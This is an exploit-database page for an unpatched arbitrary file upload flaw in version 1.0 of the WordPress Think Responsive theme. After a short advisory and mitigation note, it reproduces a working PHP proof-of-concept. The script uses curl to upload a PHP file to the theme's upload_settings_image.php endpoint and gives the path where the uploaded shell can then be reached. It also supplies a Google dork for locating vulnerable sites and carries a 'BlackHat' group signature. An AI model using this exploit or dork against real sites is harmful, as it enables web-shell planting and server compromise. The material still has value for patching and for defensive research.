WordPress Think Responsive Themes Arbitrary File Upload Vulnerability

vendor:

Think Responsive Themes

by:

Byakuya

7,5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Think Responsive Themes

Affected Version From: v1.0

Affected Version To: v1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:think_responsive_themes

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows/Linux

2013

WordPress Think Responsive Themes Arbitrary File Upload Vulnerability

An arbitrary file upload vulnerability in the WordPress Think Responsive Themes allows an attacker to upload malicious files to the server. This vulnerability exists in the upload_settings_image.php file, which is used to upload images to the server. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request with a malicious file attached. This will allow the attacker to upload the malicious file to the server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the upload_settings_image.php file is not accessible to unauthorized users. Additionally, the application should be configured to only allow the upload of specific file types, and should validate the file type before allowing the upload.

Source

Exploit-DB raw data:

###################################################################################################
#_________            .___        _______                ___.   .__        
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____  
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \ 
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/ 
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/ 
###################################################################################################
# Exploit Title: WordPress Think Responsive Themes Arbitrary File Upload Vulnerability
# Author: Byakuya
# Date: 11/01/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://themeforest.net/item/think-responsive-portfolio-and-blog/2281513
# Price: $40
# Affected Version: v1.0
# Infected File: upload_settings_image.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/thinkresponsive
# Tested on : Windows/Linux
###################################################################################################

# Exploit & POC :

<?php
$uploadfile="up.php";
$ch = curl_init("http://127.0.0.1/wordpress/wp-content/themes/ThinkResponsive/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

#File path: 
http://127.0.0.1/wordpress/wp-content/uploads/settingsimages/up.php

#Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./Official Code-Newbie ./Newbie-Security
#Facebook: https://www.facebook.com/CodeNewbieCrew
#Website: http://www.codenewbie.net
#Malaysia & Indonesia BlackHat
###################################################################################################